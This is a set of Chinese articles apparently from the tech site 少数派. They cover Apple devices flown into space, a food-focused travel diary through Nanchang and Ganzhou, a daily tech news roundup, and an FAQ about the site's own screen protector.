Matrix 是少数派的写作社区，我们主张分享真实的产品体验，有实用价值的经验与思考。我们会不定期挑选 Matrix 最优质的文章，展示来自用户的最真实的体验和观点。

文章代表作者个人观点，少数派仅对标题和排版略作修改。

前言

当地时间 4 月 1 日下午 6:35，阿尔忒弥斯 2 号（Artemis II）在佛罗里达州肯尼迪航天中心成功发射。此次飞船搭载 4 名宇航员，计划进行约 10 天的绕月飞行任务，目的是验证「猎户座」飞船的生命维持系统和其他核心技术，为未来的载人登月（阿尔忒弥斯 3 号）铺路。

不过，此次太空任务的「出圈」，也许并非因为任务本身，更多人得知这次飞行任务，多半是因为一张由 iPhone 17 Pro Max 拍摄的照片：宇航员透过舷舱窗户向外望去，定格下了地球的身影。

是的，你没看错，这张照片确实出自一部 iPhone。有趣的是，这几张首批公开的地球影像，并非使用后置摄像头拍摄，而是用 iPhone 17 Pro Max 的前置摄像头完成的，清晰捕捉到了地球的弧线与绚丽的明暗交界线。

这是宇航员克里斯蒂娜·科赫（Christina Koch）在「猎户座」飞船飞向月球的途中，透过舱窗回望地球所拍下的，exif 数据显示，拍摄设备为 iPhone 17 Pro Max，拍摄时间为 4 月 2 日。

历史首秀：首个进入太空的 Apple 设备，不是 iPhone

但是 iPhone 17 Pro Max 并非历史上第一个进入太空的 Apple 设备。让我们将时间拨回到 20 世纪 90 年代，一台 Macintosh 便携式电脑被送入太空参与实验，NASA 将其搭载于航天飞机任务中，属于人机交互实验的一部分，主要目的是寻找失重环境下更合适的电脑光标输入方式。此外，当时的宇航员还通过定制的 AppleLink 软件和调制解调器，向地球发送了人类历史上第一封来自太空的电子邮件。

邮件内容为：

Hello Earth! Greetings from the STS-43 Crew. This is the first AppleLink from space. Having a __GREAT__ time, wish you were here…… send cry, and CS! Have a nice day…… Haste la vista, baby…… we'll be back!

(译文) 你好，地球！来自 STS-43 机组人员的问候。这是来自太空的第一条 AppleLink 信息。我们过得非常开心，真希望你也在这里…… 快来联系我们吧！祝你度过愉快的一天…… 再见了，宝贝…… 我们还会回来的！

太空娱乐：iPod 为宇航员减负

时间来到 2006 年，iPod 在发现号航天飞机（Space shuttle Discovery）拍摄的照片中出现，主要用于宇航员的个人娱乐，比如听音乐。在 iPod 流行之前，宇航员通常会携带笨重的 CD 播放器和数十张光盘上天；而在对重量要求极为苛刻的航天飞行任务中，一个小小的 iPod 就能装下数千首歌，其体积和重量上的优势不言而喻。不过，太空中没有标准的充电插座，因此 NASA 为 iPod 专门配备了特制转换器，使其能使用 4 节 AA 电池供电。

民间尝试：iPhone 4 化身地球拍摄仓追踪器

到了 2010 年 9 月，发生了一次非常著名的「民间航天」实验。纽约州的艺术家卢克·盖斯布勒（Luke Geissbuhler）和他当时 7 岁的儿子马克斯 (Max)，用极低的成本完成了一次震撼全球的拍摄。这对父子从纽约州纽堡市发射了一只气象气球，将其送至平流层上部，距离地球表面约 19 英里（约 30.6 公里）的高空。这套装置中搭载了一部当时刚发布的 iPhone 4 和一台 GoPro，用于拍摄地球影像。

值得注意的是，父子二人并未使用 iPhone 4 的摄像功能，而是将这部智能手机当作飞行器的 GPS 追踪设备，真正执行拍摄工作的是 GoPro。随着气象气球逐渐升入大气层，受气压影响慢慢膨胀，最终发生爆裂。随后，太空舱自带的降落伞确保这套装置平稳下落、返回地球。最终，这对父子借助 iPhone 4 的定位功能，在距离发射点约 30 英里（约 48.3 公里）的地方找到了他们的地球拍摄仓。

正式升空：iPhone 首次进入太空

而这并非 iPhone 4 唯一一次「飞天」。2011年 7 月 8 日，两部 iPhone 4 随美国亚特兰蒂斯号航天飞机（Space Shuttle Atlantis）被送往国际空间站。值得一提的是，这次飞行是亚特兰蒂斯号的谢幕之旅，却是 iPhone 首次正式进入太空。此次进入太空的 iPhone 4 主要作为科学仪器使用，它们安装了名为 SpaceLab 的iOS应用程序，宇航员利用 iPhone 内置的陀螺仪、加速计和摄像头，来测量辐射水平、追踪地理位置以及评估飞船高度。

核心工具：Apple 设备助力太空任务

时间推进到 2021 年 9 月，在由 SpaceX 主导的 Inspiration 4（灵感 4 号）轨道任务中，Apple 设备再次扮演了核心的科学研究工具角色。此次任务的成员包括一位经验丰富的飞行员、一名医师助理、一名骨癌幸存者以及一位美国空军退伍军人。SpaceX 为 4 名成员都配备了 Apple Watch Series 6，每位成员全程佩戴，用于收集研究级的 ECG（心电图）、心率、睡眠质量、血氧饱和度以及舱内环境噪音数据。

与此同时，iPhone 12 Pro 作为主要的数据采集平台，让平民宇航员在没有地面指挥的情况下，借助 iPhone 上的 AI 引导程序，成功完成了对任务成员的器官影像扫描。此外，宇航员们还配备了 iPad mini 4，平板上预装了一款名为 Cognition 的专业应用，用于测试宇航员在太空环境下的认知能力和行为表现。

太空准入：Apple 设备的严苛测试

看到这里，你可能会有疑问：这些 Apple 设备进入太空前，是否需要通过特定测试才能被允许带上飞船？答案是肯定的。

以此次阿尔忒弥斯 2 号携带的 iPhone 17 Pro Max 为例，它在被允许进入太空前，必须经历多项严格测试。比如电池稳定性测试，锂离子电池在辐射和压力变化下容易变得不稳定，NASA 对其进行了严格的热失控测试，确保即便电池损坏，也不会起火或爆炸。此外，还有耐用性与碎裂测试，NASA 重点测试了 iPhone 17 Pro Max 的屏幕玻璃强度：一旦玻璃在微重力环境下碎裂，细小的碎片会漂浮在空中，被宇航员吸入肺部，这会构成极大的安全隐患。

而且，这些 iPhone 17 Pro Max 并非以我们日常使用的状态进入太空，其所有蜂窝、Wi-Fi和蓝牙芯片都已在物理层面被严格限制。宇航员无法连接互联网，手机仅作为独立的本地摄影和记录工具使用。

未来可期

如今，随着时间的推移，已有多款 Apple 设备被送上太空。近年来，Apple 新发布的空间计算设备 Apple Vision Pro，已在医疗、商业办公协作、工业制造与工程等专业领域实现了具体应用落地。那么未来，Apple Vision Pro 是否有机会跟随宇航员进入太空进行科研任务，并拍下人类历史上第一支在太空拍摄的 AVP 空间视频呢？

城市漫步指南：在浓油赤酱中寻找江南底蕴

作者: 纯情
时间: 2026-04-15
分类:
评论

趁着四月底的小长假，我去了趟南昌和赣州。此前，江西并不在我的旅行计划内。虽不至于被网上「环江西发展带」之类的梗影响情绪，但确实因为了解有限，一直没生出过探索的念头。

转机源于深夜刷到的一段视频。那是家开在老旧小区里的南昌苍蝇馆子，几张桌子露天摆着，两台比我年纪还大的立式风扇嘎吱响。镜头里，主播拌起一碗粉，不知是光线原因还是调料有门道，挂满酱汁的粉条透着亮，猪肚和葱花散在上面。作为拌粉爱好者，我隔着屏幕都能想象出那种香味。顺着搜了搜，发现江西小炒也不全是传闻中的「变态辣」，加上被湖南女友「特训」了一年多，我对自己的耐受力有了点信心。

就是这个瞬间，让我决定去江西实地尝尝。

第 0 天：深夜抵达的安慰

打工人的假期余额有限，我选了傍晚从深圳出发的高铁，抵达南昌时已过深夜十一点。刚下过雨，空气里有一股风吹过的清冷，混合着泥土味。我们在打车去酒店的路上就迫不及待点好了外卖：两碗拌粉，一碗鸡蛋肉饼瓦罐汤。

外卖送到时，粉确实有点坨了，但用力搅拌几次，口感还算软韧。花生米油亮且脆，萝卜干很提味。我点的是猪肚口味，肉质处理得挺嫩，虽谈不上惊艳，但对风尘仆仆的旅人来说，这顿夜宵足够落胃。瓦罐汤里的肉饼油脂已经煨进了汤里，喝上一口热汤，正好中和了拌粉那股直接的辣意。

第 1 天：现炒码子、古今交错的博物馆、滕王阁和万寿宫

第二天睡了个踏实的懒觉。窗外正如预报所说，细雨迷蒙。我们简单洗漱了一番，打算去住处附近的粉面馆试试现做的味道。

推门进去，屋里的温度比外面高出几度。角落里师傅正对着猛火爆炒码子，热浪一波波袭来。我选了牛腩拌粉，女友选了肉沫拌粉，照例又配了一罐花生排骨汤。

现做的牛腩拌粉明显不一样。筷子一翻，底层的浓油赤酱裹住白粉，转眼就染成深酱色。大口吸溜，葱油和酱油的香直冲上来。牛腩挑了偏瘦的肉，不柴，卤香和米粉的油润咬在一起，比外卖版多了层次。女友的肉沫拌粉也香得停不下来。

下午去了美术馆。最令我印象深刻的是陶瓷工艺与敦煌莫高窟的跨界展：佛像被烧制在瓷片上，当上方的人造光打下来，瓷砖特有的窑火质感让菩萨的宝相显出一种定格的纹理。窑火留下的粗糙纹理让宝相显得特别沉甸甸，比纸上画的佛多了几分「活过」的重量。我忽然想：一千多年前的匠人要是看到今天这融合，大概也会觉得有趣吧。

美术馆建筑本身也值得琢磨，1969 年落成，苏式风格里揉进了「山」字布局和重檐四角亭的中国元素。从地铁口搭电梯上来，看着屋顶那颗标志性的红五星从檐口一侧逐渐现身，这种视角的切入感很像电影里的长镜头。

后面的博物馆简单梳理了江西历史，介绍了江西这个名称来源——「江南西道」的来历。我在接下来的几天里，也会感受到宋代建筑规整秩序下藏着的烟火气和烟雨江南的余韵。

下午四点多回酒店休息。两个小时后雨停了，几分夕阳穿过厚云，正好照在纪念碑和逐渐亮灯的美术馆上。

我们在滕王阁几百米外找了个安静打卡点。远处看，阁楼榫卯清晰，赣江和对岸高楼形成古今对望的画面。如今的滕王阁，已经和一千多年前的完全不同。但我觉得也能接受。虽然它装了电梯，但一百年后也是一个带电梯的文物。走近仰望时，那种压迫式的巍峨让我突然明白，为什么王勃当年能写出那么磅礴的句子。只是红绿灯光有点俗气，如果换成暖橙色该顺眼多了。因为背不出《滕王阁序》拿不到免票，心疼一百多块的门票，最终只绕了一圈，心里多少有点小遗憾。

我们转头去了万寿宫。街区商业化布局已经很成熟，灯火和人流交织，却没破坏那种老城该有的韵味。路过一栋小楼时，二层窗边坐着一位蒙着轻纱的艺人，正低眉拉二胡。悠扬的琴声从二楼飘下来，在喧闹的市声中竟意外清晰，像一根细线轻轻拨动心弦。周围不少人停下脚步，有人举起手机，有人只是安静听着。这抹清亮的弦音刚好中和了身体和心里的燥热——除了大开大合的豪爽和烟火气，原来江西也可以那么温婉流转。

晚上累得不想出门，又叫了外卖。几道菜式：

牛腩烧荷包蛋：蛋皮炸出了气孔，吸满了肉汤，一抿就冒汁，是不折不扣的拌饭神器。

香辣牛蛙：牛蛙切成小块，配上泡椒和紫苏，鲜嫩且香气特别。这道菜的辣度对我这个广东人来说刚过临界点，但辣椒和肉质的鲜甜结合得很好，让人忍不住多吃几口。

最后再配上一盘油淋小白菜，正好平衡了整餐的重口。

第 2 天：藏在生活区里的绿洲、古寺与街巷

在南昌的第二天雨总算停了。为了避开人头攒动的主流景点，我们选了离五一广场约二十分钟车程的北湖。在墩子塘站下车，沿着湖边往南再折向西，这片区域连接着当地人的生活区。

北湖正如我预想的那样，不是什么名声在外的风景区，更像是什刹海那种嵌入城市肌理的小湖。周边没有刻意修饰的景观，湖岸贴着居民楼，走几步就能路过几家不大的咖啡馆。这些店的设计并没跳脱出老社区的底色，融入得还算自然。路过一家开在院子里的赣菜馆，还没进门，炒菜的油烟香已经飘了出来。院里散放着几张桌子，一楼打通成了餐厅，可惜刚吃过饭，只能作罢。

路边的一辆电动车引起了我的注意，踏板处的挡风被里安然卧着一只小猫，不知是主人留下的还是它自己钻进去的。拉链被贴心地拉上了一半，留了个透气的口。看到我们凑近，它也不躲，只是换了个更舒服的姿势伸个懒腰，继续睡它的午觉。

再往前走，生活的痕迹愈发粗糙但真实。路边有摆摊卖果蔬的阿姨，也有敞开门供人进出的公共空间。在名为「T16 绿洲」的区域，茶馆、书吧和小店聚在一起。这里不值得游客特意跨城而来，但对住在附近的人来说，有个能和朋友散步聊天的地方，确实是一种具体的幸福。

路过北湖附近的佑民寺时，我们没时间进去，只在围墙外站了一会儿。寺外是车流和叫卖声此起彼伏，香火悠悠从墙后飘起逸散空中。寺庙藏在闹市里，市声喧闹，却莫名透出一股厚重的肃穆。那种「古建筑被现代生活包裹」的反差，反而生出一种奇妙的宁静。如果下次再来，一定要进去坐坐，感受一下「洪州禅」发源地的安静——大概能和重油重辣的江西饭菜，形成最完美的对比吧。

最后的一站是大士院和蛤蟆街。你可以把它理解为南昌版的太平街或上下九。虽然产品同质化的现象在所难免，但作为离开前高效采购手信的地点，或者顺手买份水煮小吃，这里依然是最方便的选择。

临行前的中午，总算寻到了一家地道的苍蝇馆子。

黄豆鸡脚是第一道惊喜。黄豆软糯，鸡脚炖得胶质满满，一抿就骨肉分离，辣椒香味早已渗进骨头里。汤汁浓稠发亮，淋在饭上特别下饭——这才是真正的拌饭神器。鸡脚入口干净，透着新鲜。
豆豉黄鱼是老板推荐的招牌。用勺子拨下一块，鱼肉鲜香滑嫩，蘸点底部的豆豉酱油，咸香刚好挂在肉上，入口即化，细嫩程度超出了预期。
第三道蒜炒通心菜，我作为广东人坚持要的一抹绿意。不过火候稍显局促，还带着点青气。

第 3 天：宋朝遗迹、川菜馆、登台与入巷

抵达赣州办理完入住，已接近晚上九点。在附近点了一份烧烤，价格虽相宜，但味道乏善可陈，便不再赘述。

习惯性地看了眼天气预报，三四月正是江西的雨季，接下来的赣州行程恐怕都要在雨水的阴影下进行。不过既来之则安之，我们还是决定按原计划出发。

第一站，我们去了老城的文庙。里面游人稀少，红墙黄瓦配着古柏，安静得让人不由自主放轻脚步。站在大成殿前，我忽然想起学生时代最怕考试的样子。中考前，我路过学校旁边的教堂，看见神父正为学子祈祷。现在看着这些祈福的年轻面孔，心里有点复杂：古人求功名，我们现在又在求什么呢？虽然信仰不同，但无论是哥特式的尖顶，还是中式黄绿琉璃瓦，似乎都在静静悲悯着世人。

抬起头，透过树影望见旁边的慈云塔——那座宋代砖塔静静立在小学校园里。古今就这样重叠在一起，反而让我莫名感到安心：有些东西，历经千年，依然好好地留在生活里。

从文庙出来，穿过一片居民区，天气正好放晴。墙角和阳台斜出的三角梅开得格外扎眼。再往前走几步，宋代城墙便在赣江边铺展开来。走在城墙上，最震撼的是那些城砖——从北宋到民国的铭文依旧清晰可见。用手摸上去，粗糙而真实，像在翻一本活的历史书，岁月感扑面而来。

顺着城墙往北走，便到了建春门。站在城墙上往下看，古浮桥横跨在江面上，一百多只木船首尾相接，这种俯拍视角比站在桥面上看更具结构美。走在桥上，脚下木板吱呀作响，身旁是来往的行人，这座使用了八百多年的浮桥，至今仍承载着两岸的通行，是那种并未进入博物馆的鲜活古迹。

随后的寿量古寺和灶儿巷也都在步程之内。灶儿巷全长两三百米，连通着不少深巷，两旁多是成规模的明清建筑。遗憾的是，这里的保育与活化显得有些吃力，不少老屋已经人去楼空，挂着危房警告的木门紧锁，只有零星一两家餐厅还在营业。

午餐没在计划内，走到标准钟附近时已近正午，空气微热，我们打算就地解决。街口的一家餐馆吸引了注意。黑底金字的招牌写着中英文「波波川菜店」，红色的遮阳篷配上拱形玻璃门，参考了民国时期西风东渐的风格。推门进去，装修以木质元素为主，大厅错落摆着几张圆桌，围绕着被玻璃隔开的天井。中间种了一棵树，自然光落下来，配合店内的暖色灯光，营造出一种亲密感。透过一侧的玻璃，可以清楚看到厨房里厨师掌勺的过程。

西红柿炒蛋是传统的咸甜口，很下饭。
爆炒腰花和鲜炒牛肉底色相似，葱香与藤椒味厚重，霸道地打开了味蕾。牛肉嫩滑，打了花刀的腰花也没有异味，两道菜都处理得干脆利落。

下午在宾馆稍作休整，我们搭乘 1314 路公交前往宋潮不夜城。这辆车的复古设计挺用心，票价也亲民。

宋潮不夜城位于三江汇流的入口处。广义上的江南宋城景区涵盖了军门楼、郁孤台、客家大院等。抵达时天色已晚，出于安全考虑，我们重点看了军门楼后的街道和郁孤台。

晚上我们去了郁孤台。站在台下俯瞰清江北去，心里忽然有点空落落的。辛弃疾那句「郁孤台下清江水，中间多少行人泪」我只记得前半句，但那种「青山遮不住，毕竟东流去」的无奈，竟然和我这个打工人临时起意来江西的随意形成了奇妙的对比。没赶上白天晴天，雨后的江面有点模糊，反而多了几分朦胧的沧桑感——古人的家国愁绪，我一个小游客大概是体会不到了，但那股跨越千年的厚重，却实实在在砸在了胸口。没赶上晴天登顶，多少有点可惜。

晚餐选在郁孤台公园附近的一个旧院子活化而来的餐厅。

生滚雪梨糖水清冽冰甜，配上糯米丸子，是很好的下火甜品。
生啫小黄鱼放在砂锅里，配蒜头和红葱头煎香，做法很像粤菜的啫啫煲，鱼肉细嫩，但女友说稍有一点腥气。
鲍鱼辣椒炒肉 68 元的价格在当地不算便宜，主要在于加了鲍鱼。五花肉的油脂混着鲍鱼的韧劲，口感比常规版本丰富，至于这种搭配是否多余，就看个人喜好了。

第 4 天：八境公园

在赣州的最后一天，天色阴沉但总算没下雨。我们抓紧时间补全了宋代城墙之旅，从涌金门一路走到八境公园。

登上八境台，章江与贡江在此汇流成赣江，地理位置极其关键。在此远眺，两江交汇的波纹清晰可见，古人笔下的悲喜在此刻有了具体的坐标。走在八境公园里，阴郁的天色反而压出了湖水与树木那股浓郁的墨绿色。一两座石拱桥横跨其间，像是深色画作里的一抹鲜亮，恰好连接起视线。只可惜，不久雨势便由小转大，我们没能漫步太久，只得匆匆折返。

最后一顿在住处附近解决。酒酿丸子酒香清纯不烧喉；鸭舌极辣，高汤豆腐吸饱了鲜辣汤汁；艾米果里包着腌菜、腊肉和豆干，很有地方特色；家常炒粉则胜在葱油、鸡蛋和辣椒爆出的锅气。吃完这顿烟火气十足的饭，我们便动身前往高铁站。

旅行实用笔记：衣着、住宿以及拍摄设备心得

衣着建议

四月初的江西气候温和。不下雨时白天气温能到 28°C 左右，入夜或降温后会跌回 20°C 以下。穿一件短袖，外搭一件薄外套和牛仔裤即可应对。

住宿参考

此次在南昌和赣州均选择了亚朵酒店。在当地属于中高价位，但相比一线城市，性价比依然突出。两家店都比较新，服务态度在线。不过，其早餐水平较我此前在其他城市的体验略显平淡。建议想体验当地风味的游客去街边找早餐店，更能挖掘到惊喜。

拍摄设备与心得

因为计划里步行闲逛占大多数，所以不准备带相机，而这几天恰逢 vivo X300s 发售，所以找少数派的虎老师借了设备趁机体验一番。

与此前使用的 X100 Ultra 相比，这款机型的镜头模组没有那么突兀，更加便于携带，减少负担。但所幸长焦表现依然扎实。在这次旅行中，我全程使用其「人文模式」进行记录。也简单聊聊一些使用体验：

画质特征：与普通模式相比，人文模式的计算摄影痕迹较轻。它能拉开画面的明暗对比，同时在阴影和高光中保留足够的细节，不会有那种过度磨平的「塑料感」。
滤镜倾向：我基本锁定在「质感」和「负片」模式。这种模式自带一种类似胶片的颗粒感和柔光效果。在拍摄时，只需根据现场环境微调色彩饱和度和明暗，就能呈现出很强的个人风格。即便不加后期，画面也很耐看。
配件扩展：若搭配原厂的摄影师套装，还可以使用增距镜。这让手机在 200x 甚至 400x 的混合放大倍率下依然具备可用性，便于在室外拉近镜头或捕捉建筑局部特写。

结语

原本只是为了那口鲜辣而临时起意，最终却走成了穿梭古今的时光探索。在江西，古今的界限其实很模糊：那些古籍里的诗意，此刻正实实在在地包裹在重油重辣的市井生活里。没能去成的寺庙，还没尝遍的小馆，没探索的公园，都留作下次再来的理由。

除结尾处手机外观照片，本文其余旅行照片均使用 vivo X300s 拍摄。

派早报：稳定版 Linux 7.0 内核发布等

作者: 纯情
时间: 2026-04-15
分类:
评论

稳定版 Linux 7.0 内核发布

稳定版 Linux 7.0 内核于 4 月 13 日正式发布，此次大版本发布仅源自 Linux 内核版本发布惯例——在次版本号达到 X.19 后便提升主版本号，因此并非某项重大变革导致的大版本升级。不过此次 Linux 7.0 依旧包含众多新特性与改动，例如对英特尔 Nova Lake 平台的更多支持、英特尔 Crescent Island 加速器的进一步适配、新增对 AMD 新一代图形 IP 模块的支持、XFS 文件系统的自修复能力、多项性能优化、英特尔 TSX 指令集默认设为自动模式，以及 Linux 内核终于实现标准化的通用 I/O 错误上报机制等。来源

高通中国与网易游戏合作，多款游戏适配骁龙 X 平台 PC 设备

高通中国与网易游戏应用与平台发展事业部于 4 月 13 日宣布，双方基于网易游戏官方游戏平台「网易发烧游戏」达成深度生态合作，旨在共同推动更多由网易游戏研发和发行的游戏以及平台应用，全面适配搭载骁龙 X 系列的 Windows PC 设备。网易游戏旗下已有 25 款游戏完成面向骁龙 X 系列平台的适配，包括《永劫无间》《漫威争锋》《界外狂潮》《七日世界》《光·遇》《燕云十六声》等多款 PC 游戏，覆盖动作竞技、多人射击、开放世界等多个品类。同时高通中国还联合网易游戏完成了针对 MuMu 模拟器的深度适配与联合优化。MuMu 模拟器从底层针对骁龙 X 系列架构进行开发，可提供更高的运行效率与更强的系统稳定性。本次适配不仅全面支持包括骁龙 X2 Elite 系列平台在内的骁龙 X 系列平台，还兼容此前多数的骁龙计算平台。来源

微信宣布微信表情也可以在手机端上传

微信官方于 4 月 13 日宣布，微信表情投稿迎来新路径。创作者现可通过「微信表情助手」小程序，用个人视频号一键登录，快速发表手机相册中的作品。上传后，你制作的表情包能在视频号首页专区展示。其他人也可以从你的表情包作品直接跳转到你的视频号，一眼识别到表情包原创作者。同时，表情专辑与视频号、公众号、小程序、红包封面的连接能力全面打通，让表情能在微信全域流动起来。目前「微信表情助手」仅开放个人视频号作者。来源

MiniMax 开源 M2.7 模型

MiniMax 于 4 月 12 日宣布开源 M2.7 模型，据称能让模型深度参与自身训练与优化流程，构建复杂的 Agent 框架并完成高度复杂的生产力任务。M2.7 具备自我进化能力，内部系统可自动收集反馈、构建评估集，持续优化自身架构、技能和记忆机制。在优化编程能力时，M2.7 可以自主运行超 100 轮循环，最终内部测试可实现 30% 性能提升。还具备 OpenRoom 交互系统，把 AI 交互从文本扩展到可视化界面，支持实时场景反馈，支持高度扩展，未来可探索全新人机交互方式。来源

与此同时，MiniMax 宣布其最新的 M2.7 模型现已支持接入 Hermes Agent。Hermes Agent 是一款强调持续学习与自我进化的开源 AI 智能体，它会在使用过程中自动沉淀经验、生成可复用的技能，并在后续调用中不断自我改进。来源

微软开始测试类 OpenClaw 的 Copilot 服务

据 The Information 报道，微软目前正在测试类似 OpenClaw 的 AI 服务，旨在令 Microsoft 365 Copilot 也拥有替用户在后台自动处理事务的能力，比如从邮箱和日历信息中自动生成每日待办事项。微软还在探索这类服务限制在特定功能下的应用，如营销、销售、会计等，以减少单个服务需求的权限请求。微软副总裁 Omar Shahine 回应媒体证实此事，称公司正「在企业语境下探索 OpenClaw 这样的技术的潜力」。信源还表示，微软认为自己可以解决类 OpenClaw 工具的安全问题。预计 6 月 2 日开始的 Build 大会上，该功能会有部分展示。来源

Meta 在内部构建 AI 3D 版本虚拟扎克伯格

据金融时报报道，Meta 正在内部开发一款 AI 驱动的 3D 影像虚拟扎克伯格，用于即时与员工对话并提供反馈。虚拟扎克伯格将由扎克伯格的海量影像与声音训练，扎克伯格本人正监督这项开发工作。信源称该项目消耗了大量本就不足的算力。Meta 有计划将公众人物转化为可实时互动的分身，此项工作也是这一计划的一部分。此前，Meta 还在开发一款 CEO AI 代理，用于快速向扎克伯格传递公司内各项事务。来源

值得一提的是，Meta 于近期收到了来自 70 多个民权组织的联名抗议，称其去年展示并拟推动上线 Meta AI 眼镜的人脸识别功能「Name Tag（姓名标签）」将成为犯罪者秘密跟踪、侵犯潜在受害者的工具。来源

中央网信办发布《关于加强网络直播打赏规范管理的通知》

4 月 13 日，中央网信办发布《关于加强网络直播打赏规范管理的通知》。通知提出网络直播营利行为与网站平台合规健康运营的多项工作要求，主要包括明示打赏规则、规范打赏营利权限开通、提供打赏限额功能、提供打赏提醒功能、规范打赏金额排名、规范打赏互动、完善未成年人保护机制、建立打赏营利行为负面清单、加强异常打赏识别处置、完善投诉举报受理机制、加大处置和曝光力度等十一项，对多种不规范、不合理的打赏现状做出了具体指导。来源

不妨一看的简讯

Adobe 于 4 月 12 日在其官网发布公告，为 Acrobat、Acrobat Reader 软件发布紧急安全更新，修复 CVE-2026-34621 零日漏洞，建议所有用户尽快安装。受影响的软件包括 Acrobat DC、Acrobat Reader DC 以及 Acrobat 2024，用户如果开启了自动更新，则系统会在检测到更新时自动安装。需要手动更新 / 下载安装包的也可以在软件中选择「帮助」 > 「检查更新」，或前往Acrobat Reader 官网手动下载更新。来源
据人民财讯，经荣耀内部查证回应，荣耀将与字节跳动就「豆包手机」合作展开接洽的传闻不实。来源
华为已在商城提前上架下周发布的 Pura X Max 并开放预售。来源
Anthropic 为 Microsoft Word 开发了一款 Claude 插件，可用于替代 Copilot 提问文档相关内容，该插件目前已向团队与企业订阅开放测试。来源
黑客团体 ShinyHunters 宣布已通过攻破云成本监控工具 Anodot 窃取到 GTA 开发商 Rockstar 内部资料，并要求 Rockstar 在 4 月 14 日前交付赎金。来源
因内存短缺，微软美国区官方商城将 Surface 全系列售价调涨，涨幅 100 至 300 美元不等，部分型号较发布时起售价高出 500 美元。来源
微软确定将于 2026 年 5 月 25 日终止 Android 端 Outlook Lite 应用运营，现有剩余用户此后将无法继续使用该应用。来源
国产掌机厂商 Anbernic 公布了一台名为 RG Rotate 的旋转屏 Android 掌机，机身采用铝合金与 ABS 材质，自研超薄转轴，有银黑两色可选，售价尚未公布。来源

少数派的近期动态

少数派年度征文最终轮投票正在进行。手工匠人还是 AI 助力？选出你心目中更好的文章。前往投票
薄至 0.13mm 的麦金獭手机钢化膜上线啦！首发限时优惠中。赶紧抢一张
别让它吃灰：你为家里的「淘汰设备」找到了哪些新用途？来一派展开聊聊
少数派全新付费栏目上架，一份不再过时的 Raycast 使用指南、一份写给家长的幼儿美术启蒙指南。

你可能错过的文章

> 下载少数派 2.0 客户端、关注少数派公众号，解锁全新阅读体验 📰

> 实用、好用的正版软件，少数派为你呈现 🚀

首销优惠即将截止！少数派麦金獭无感膜 10 大常见问题解答

作者: 纯情
时间: 2026-04-15
分类:
评论

上周，我们正式发布了少数派的第一方周边——麦金獭钢化膜。上线后，我们很快收到了来自用户的积极反馈，不少用户表示，这款无感膜的实际使用体验超出了预期，也给予了我们很多真诚的认可。

但与此同时，后台和社区也有不少朋友针对这款麦金獭无感膜提出了一些疑问，涉及使用、选择等多个方面。为了方便大家更快速地了解产品、解决困惑，我们特意整理了常见的 10 个问题做一期答疑，希望能帮到关注或在使用这款产品的朋友。

若有未覆盖的疑问或建议，也欢迎在评论区留言，我们会认真倾听，和大家一起打磨更好的产品。

常见问题解答

麦金獭无感膜好不好贴？

可以放心。产品包装内附赠贴膜神器，配合图文与视频教程，整体上手难度并不高，即使是第一次贴膜，也能按照步骤顺利完成。

教程入口就在产品包装右下方二维码，扫码后即可查看详细的图文和视频指引。步骤清晰、操作简单，跟着教程一步一步来，就能更轻松地贴好。

建议正式操作前，先完整看一遍教程，再开始贴膜。

不小心贴坏或者收到商品破损怎么办？

不用慌，我们为大家准备了贴心的售后保障。

如果不小心贴坏或者收到商品破损了，请务必保留好包装内的贴膜神器，后续请联系所购买平台的在线客服，提供相关图片或视频说明具体情况，经客服核实后可申请售后补发单膜一张（每单仅限一次，仅限一张）。

另外我们也收到极少数用户反馈，个别钢化膜在收货时出现碎裂情况。经排查，主要原因来自物流运输过程中的暴力分拣。目前我们已对包装进行升级，在原有缓冲棉基础上额外增加气泡袋保护，以进一步提升抗冲击能力。

如您不幸遇到类似情况，请第一时间联系在线客服，我们会为您妥善处理。感谢您的理解与支持。

同时也提醒已购买用户：贴膜神器请妥善保留，后续我们将推出单膜版本，复购价格会更友好。

麦金獭无感膜 AR 款与高清款厚度区别？

厚度其实是一样的，都是 0.13mm，贴上基本感觉不到区别。

主要差别在显示效果：AR 款在强光下会更舒服一点，降低反光，屏幕可读性更好。而高清款就是更纯粹的通透感。

这款膜适合什么类型的人群？

这款无感膜，主要面向对手感和显示都有高要求的用户。

如果你在意的是：

贴上之后几乎没有存在感的顺滑触感
不喜欢传统贴膜带来的厚重、边沿硌手感
同时又希望屏幕依旧保持清晰、通透的显示效果

那这款麦金獭无感膜会非常适合你。

麦金獭无感膜适配哪些机型？

目前适配的机型包括 iPhone 16 Pro、iPhone 16 Pro Max、iPhone 17、iPhone 17 Pro、iPhone 17 Pro Max 以及 iPhone Air。覆盖当前主流新款 iPhone 机型，你可根据设备型号直接对应选购。

后续我们也会根据用户需求，持续补充更多机型版本，敬请期待。

膜面顺不顺滑？

麦金獭无感膜 AR 款采用磁控溅射工艺，将金属 / 陶瓷微粒直接附着于玻璃表面。相比传统喷涂疏油层，具备附着更牢、衰减更慢的特性，能够在更长时间内保持稳定的使用体验。

实际体验上：

手感接近原厂屏幕，滑动顺畅不拖手
长时间使用也不容易发涩
指纹不易残留，整体更清爽

需要说明的是，贴膜属于消耗品，在日常使用过程中接触到钥匙、沙粒等硬物时，仍有可能在膜面留下细微划痕，这是正常现象，目前行业无解。

贴膜后的显示效果如何，会不会影响屏幕观感？

实测透光率可达 96% 以上，在保证保护性的同时，尽可能还原屏幕本身的色彩与清晰度。无论是追剧、看照片，还是日常使用，都能保持通透、干净的观感，不会出现发雾或明显偏色。

优惠截止日期是什么时候？

麦金獭无感膜的优惠活动截止日期为 2026 年 4 月 15 日。想要入手的朋友可以抓紧时间，趁优惠期间选购，享受更具性价比的体验，错过后将恢复原价哦。

购买链接：

产品反馈活动什么时候结束？

针对麦金獭无感膜的用户晒单反馈活动，截止日期为 2026 年 4 月 19 日。大家在使用过程中如果有任何晒单分享、体验反馈，都可以在截止日期前提交。

我们会认真倾听每一条声音，不断优化产品体验。

麦金獭无感膜有防窥款吗？

目前这款麦金獭无感膜仅有 AR 抗反射涂层款和高清款两种选择，暂时没有推出防窥版本。

AR 抗反射款适合经常在强光环境下使用手机的用户，能有效减少反光；高清款则适合追求极致通透显示的用户，大家可以根据自己的使用需求选择。

用心打磨的防护

解答完大家最关心的 10 个问题，我们聊聊麦金獭无感膜的部分打磨历程。

作为少数派自研硬件，我们的核心始终是：在不牺牲实用性的前提下，让大家既能获得可靠屏幕防护，又能还原裸屏般的使用体验。

